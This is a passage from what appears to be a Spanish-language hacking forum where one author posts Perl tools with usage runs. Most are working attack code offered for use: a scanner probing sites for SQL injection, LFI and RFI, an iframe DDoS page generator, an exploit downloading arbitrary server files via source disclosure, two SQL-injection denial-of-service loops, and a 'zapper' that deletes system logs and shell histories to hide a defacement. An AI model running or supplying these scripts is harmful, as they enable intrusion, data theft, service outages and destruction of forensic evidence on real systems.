    if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) {
    print "[+] Jet DB : $page\a\n";
    savefile("jetdb-logs.txt",$page);
    }
    }

    sub mssql {

    my $page = shift;
    $code1 = toma($page."'");
    if ($code1=~/ODBC SQL Server Driver/ig) {
    print "[+] MSSQL : $page\a\n";
    savefile("mssql-logs.txt",$page);
    }
    }

    sub oracle {

    my $page = shift;
    $code1 = toma($page."'");
    if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) {
    print "[+] Oracle : $page\a\n";
    savefile("oracle-logs.txt",$page);
    }
    }

    sub rfi {
    my $page = shift;
    $code1 = toma($page."http:/www.supertangas.com/");
    if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
    print "[+] RFI : $page\a\n";
    savefile("rfi-logs.txt",$page);
    }}

    sub lfi {
    my $page = shift;
    $code1 = toma($page."'");
    if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
    print "[+] LFI : $page\a\n";
    savefile("lfi-logs.txt",$page);
    }}

    sub fsd {
    my $page = shift;
    my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
    if ($path=~/\/(.*)$/) {
    my $me = $1;
    $code1 = toma($page.$me);
    if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
    print "[+] Full Source Discloure : $page\a\n";
    savefile("fpd-logs.txt",$page);
    }}}

    sub repes {
    my @limpio;
    foreach $test(@_) {
    push @limpio,$test unless $repe{$test}++;
    }
    return @limpio;
    }

    sub savewords {
    open (FILE,$_[0]);
    @words = <FILE>;
    close FILE;
    for(@words) {
    push(@r,$_);
    }
    return(@r);
    }

    sub men {
    print "\n\n[+] Scan Type : \n\n";
    print "[X] : XSS\n";
    print "[S] : SQL\n";
    print "[M] : MSSQL\n";
    print "[J] : Jet Database\n";
    print "[O] : Oracle\n";
    print "[L] : LFI\n";
    print "[R] : RFI\n";
    print "[F] : Full Source Discloure\n";
    print "[HT] : HTTP Information\n";
    print "[A] : All\n\n";
    print "\n[Options] : ";
    chomp(my $option = <STDIN>);
    return $option;
    }

    sub cortar {
    my @nuevo;
    for(@_) {
    if ($_ =~/=/) {
    @tengo = split("=",$_);
    push(@nuevo,@tengo[0]."=");
    } else {
    push(@nuevo,$_);
    }}
    return @nuevo;
    }

    sub get_links {

    $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
    return @links;

    sub agarrar {
    my ($a,%b) = @_;
    push(@links,values %b);
    }
    }


    sub installer {
    unless (-d "logs/") {
    mkdir("logs/","777");
    }
    }

    # ¿ The End ?


    Ejemplo de uso






    @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
    @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
    @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
    @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
    @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
    @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
    @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




    [a] : Scan a File
    [b] : Search in google and scan the webs

    [option] :
#423
Scripting / [Perl] Iframe DDos Attack Tool
7 Octubre 2011, 01:15 AM
Un simple poc para la los ataques de denegacion de servicio usando
iframes.


Código (perl) [Seleccionar]
#!usr/bin/perl
#Iframe DDos Attack Tool (C) Doddy Hackman 2011

use Cwd;

installer();

sub head {
print "\n\n-- == Iframe DDos Attack Tool == --\n\n";
}

sub copyright {
print "\n\n -- == Doddy Hackman 2011\n\n";
}

sub sintax {
print "\n[+] sintax : $0 <target> <count file> <count iframe>\n";
}

sub start {
my ($target,$files,$iframe) = @_;
print "\n[+] Starting the party\n\n";
print "[+] Generating files and iframes\n";
print "\n[+] All Save in ".getcwd()."/files/"."\n";
for my $can(1..$files) {
open (POC,">>files/index".$can.".html");
for my $tx(1..$iframe) {
print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
}
close POC;
}
}

head();
unless(@ARGV > 2) {
sintax();
} else {
start($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();

sub installer {
unless (-d "files/") {
mkdir("files/","777");
}}

# ¿ The End ?

Ejemplo de uso



C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
Finales\poc iframe>poc.pl "pepo.com" 4 4


-- == Iframe DDos Attack Tool == --


[+] Starting the party

[+] Generating files and iframes

[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack
ing/WarFactoy II Finales/poc iframe/files/


-- == Doddy Hackman 2011

#424
Scripting / [Perl] Mysql Manager
7 Octubre 2011, 01:14 AM
Un simple mysql manager , un triste intento de imitacion al comando mysql pero bueno....

Código (perl) [Seleccionar]
#!usr/bin/perl
#Mysql Manager (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd

use DBI;

sub head {
print "\n\n -- == Mysql Manager == --\n\n";
}

sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <host> <user> <pass>\n";
}

head();
unless (@ARGV > 2) {
sintax();
} else {
enter($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();

sub enter {

print "\n[+] Connecting to the server\n";

$info = "dbi:mysql::".$_[0].":3306";
if (my $enter = DBI->connect($info,$_[1],$_[2],{PrintError=>0})) {

print "\n[+] Enter in the database";

while(1) {
print "\n\n\n[+] Query : ";
chomp(my $ac = <stdin>);

if ($ac eq "exit") {
$enter->disconnect;
print "\n\n[+] Closing connection\n\n";
copyright();
}

$re = $enter->prepare($ac);
$re->execute();
my $total = $re->rows();

my @columnas = @{$re->{NAME}};

if ($total eq "-1") {
print "\n\n[-] Query Error\n";
next;
} else {
print "\n\n[+] Result of the query\n";
if ($total eq 0) {
print "\n\n[+] Not rows returned\n\n";
} else {
print "\n\n[+] Rows returned : ".$total."\n\n\n";
for(@columnas) {
print $_."\t\t";
}
print "\n\n";
while (@row = $re->fetchrow_array) {
for(@row) {
print $_."\t\t";
}
print "\n";
}}}}
} else {
print "\n[-] Error connecting\n";
}}

# ¿ The End ?



Un ejemplo de uso



C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlman>manager.PL localhost root ""


-- == Mysql Manager == --


[+] Connecting to the server

[+] Enter in the database


[+] Query : show databases


[+] Result of the query


[+] Rows returned : 6


Database

information_schema
cdcol
hackman
mysql
phpmyadmin
test



[+] Query : exit


[+] Closing connection



-- == (C) Doddy Hackman 2011 == --



#425
Scripting / [Perl] FSD Exploit Manager
7 Octubre 2011, 01:14 AM
Un simple exploit que nos ayuda a explotar la vulnerabilidad Full Source Discloure de una forma muy relajante , lo bueno de este programa es que guarda todo lo descargado en una carpeta creada por el programa mismo.
Ademas detecta automaticamente Full Path Discloure para conocer las rutas necesarias para descargar
archivos.


Código (perl) [Seleccionar]
#!usr/bin/perl
#FSD Exploit Manager (C) Doddy Hackman 2011

use LWP::UserAgent;
use URI::Split qw(uri_split);
use File::Basename;

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

$SIG{INT} = \&adios;

head();
if($ARGV[0]) {
ver($ARGV[0]);
} else {
sintax();
}
copyright();

sub ver {

my $page = shift;
print "\n[+] Target : ".$page."\n\n";

my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);

if ($path=~/\/(.*)$/) {
my $me = $1;
$code1 = toma($page.$me);
if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
print "[+] Full Source Discloure Detect\a\n";
$code2 = toma($page."'");
if ($code2=~/No such file or directory in <b>(.*)<\/b> on line/) {
print "\n[+] Full Path Dislocure Detect : ".$1."\n";
}
installer();
while(1) {
print "\n\nurl>";
$SIG{INT} = \&adios;
chomp(my $url = <stdin>);
if (download($page.$url,"fsdlogs/".basename($url))) {
print "\n\n[+] File Downloaded\n";
system("start fsdlogs/".basename($url));
}
}
} else {
print "[-] Web not vulnerable\n\n";
}
}
}

sub adios {
print "\n\n[+] Good Bye\n";
copyright();
}

sub head {
print "\n\n-- == FSD Exploit Manager == --\n\n";
}

sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}

sub toma {
return $nave->get($_[0])->content;
}

sub download {
if ($nave->mirror($_[0],$_[1])) {
if (-f $_[1]) {
return true;
}}}

sub installer {
unless (-d "fsdlogs/") {
mkdir("fsdlogs/","777");
}}

# ¿ The End ?


Un ejemplo de uso


C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
FSD Exploit Manager>fsd.pl http://localhost/down.php?down=


-- == FSD Exploit Manager == --


[+] Target : http://localhost/down.php?down=

[+] Full Source Discloure Detect

[+] Full Path Dislocure Detect : C:\xampp\htdocs\down.php


url>c:/aca.txt


[+] File Downloaded


url>c:/aca.txt


[+] File Downloaded


[+] Good Bye


-- == (C) Doddy Hackman 2011 == --



#426
Scripting / [Perl] SQLi DOS 0.1
7 Octubre 2011, 01:13 AM
Un simple Dos para SQLi

Código (perl) [Seleccionar]
#!usr/bin/perl
#SQLi Dos 0.1 (C) Doddy Hackman 2011

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();

sub now {
print "\n[+] Target : ".$_[0]."\n";
print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
while(true) {
$SIG{INT} = \&adios;
$code = toma($_[0]."zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz");
unless($code->is_success) {
print "[+] Web Off";
copyright();
}}}

sub adios {
print "\n[+] Stoping attack\n";
copyright();
}

sub head {
print "\n\n-- == SQLI Dos 0.1 == --\n\n";
}

sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}

sub toma {
return $nave->get($_[0]);
}

# ¿ The End ?


Ejemplo de uso


C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack


[+] Stoping attack


-- == (C) Doddy Hackman 2011 == --


#427
Scripting / [Perl] SQLi Dos 0.2
7 Octubre 2011, 01:12 AM
El mismo Dos para SQLi per esta vez usando benchmark()

Código (perl) [Seleccionar]
#!usr/bin/perl
#SQLi Dos 0.2 (C) Doddy Hackman 2011

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();

sub now {
print "\n[+] Target : ".$_[0]."\n";
print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
while(true) {
$SIG{INT} = \&adios;
$code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
unless($code->is_success) {
print "[+] Web Off\n";
copyright();
}}}

sub adios {
print "\n[+] Stoping attack\n";
copyright();
}

sub head {
print "\n\n-- == SQLI Dos 0.2 == --\n\n";
}

sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}

sub toma {
return $nave->get($_[0]);
}

# ¿ The End ?


Ejemplo de uso



C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack

[+] Web Off


-- == (C) Doddy Hackman 2011 == --


#428
Scripting / [Perl] Zapper for Linux
29 Julio 2010, 23:20 PM
Bueno ,esta herramienta no tiene un nombre chevere pero bueno , con esta herramienta pueden
borrar sus huellas despues de hacer un masivo deface en una pobre web.
Recuerden que primero deben darle permisos y despues ejecutarlo.


#Zapper
#By Doddy Hackman

@paths = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
"/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
"/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access",
"/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
"/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
"/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var
/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth");

@comandos  = ('find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;');

print "[+] Zapping the logs\n";
for (@paths) {
if (-f $_) { system("rm -rf $_"); }
}
for (@comandos) {system($_);}
print "[+] All the logs are erased\n";

#The end
#429
Scripting / [Perl] Bones X
29 Julio 2010, 23:18 PM
Bueno , BonesX es una herramienta que los ayudara en el momento que quieran usar una consola ms dos y
el admin la haya borrado.
Su uso no es muy dificil asi que creo que podran usarla.
Ademas les ofrece informacion de la maquina actual como : IP , SO , nombre de usuario y grupo del usuario.



#Bones X
#Author = Doddy Hackman
#Very easy console the using if the admin delete the ms-dos original

use Win32::IPConfig;
use Net::Nslookup;
use Color::Output;
Color::Output::Init;

&datos;

sub datos {
system ("title Bones X");
system ("cls");
$ip = nslookup(qtype => "A", domain => "localhost");
system ("prompt Doddy Hackman@$ip.com:");
$so = $^O;
$login = Win32::LoginName();
$domain = Win32::DomainName();

cprint "\x0313
Program: Bones X
Author : Doddy Hackman
\x0x30";

cprint "\x033

Your IP : $ip
SO : $so
Login : $login
Group : $domain

\n\x033";
}

inicio:;
cprint "\x037";
print "C:\\l33t\\";
print "D00d1>";
$cmd=<STDIN>;
chomp $cmd;
cprint "\n\x037";
if ($cmd eq "exit") {
exit 1;
}
elsif ($cmd eq "cls") {&datos;goto inicio}
else {
cprint "\0035";
print "\n";
system ($cmd);
cprint "\n\n\n";
goto inicio ,
}



#430
Scripting / [Perl] NightVision
29 Julio 2010, 23:16 PM
Bueno ,esta herramienta llamada NightVision , les servira para poder ver sus propios puertos , despues tienen un menu el cual
les permitira cerrar el puerto que les venga en gana.
Esta herramienta puede servir cuando el administrador de un cyber (seguro) bloquea el administrador de tareas.


#Program : NightVision
#Author : Doddy Hackman
#Module neccesary
#ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd

use Win32::Process::List;
use Color::Output;
Color::Output::Init;
use Win32::Process;


&clean;&options;
sub clean {
system 'cls';
system 'title NightVision';
cprint "\x0313";
print "\nNightVision 0.1\nCopyright 2010 Doddy Hackman\nMail:doddy-hackman[at]hotmail[com]\n\n";
cprint "\x0x30\n\n";
my $new = Win32::Process::List->new(); 
my %process = $new->GetProcesses();
chomp %process;
$limit = "";
for my $pid (keys %process) {
if ($pid ne "") {$limit++};
push (@procer,$process{$pid});
push (@pids,$pid);
chomp (@procer,@pids);
}
$limit--;
for my $n(1..$limit) {
cprint "\x037";
print "Process Number: [$n]\tProcess name : $procer[$n]\tPID : $pids[$n]\n";
cprint "\x037";
}}

sub options {
cprint "\0035";
print "\n\nOptions :\n\n[a] : Close a process\n[b] Clean Console\n[c] Exit\n\n\n[+] Write you options : ";
$t = <STDIN>;
chomp $t;
if ($t eq "a") { &close;} elsif ($t eq "b") {&load;&clean;&options;} elsif ($t eq "c") {exit 1;} else {&load;&clean;&options;}}

sub load { system($0); }

sub close {
print "\n[+] Write the number of the process : ";
$numb = <STDIN>;
chomp $numb;
Win32::Process::KillProcess(@pids[$numb],@procer[$numb]);
print "\n\n[+] OK , Process Closed\n\n";&load;&clean;&options;
}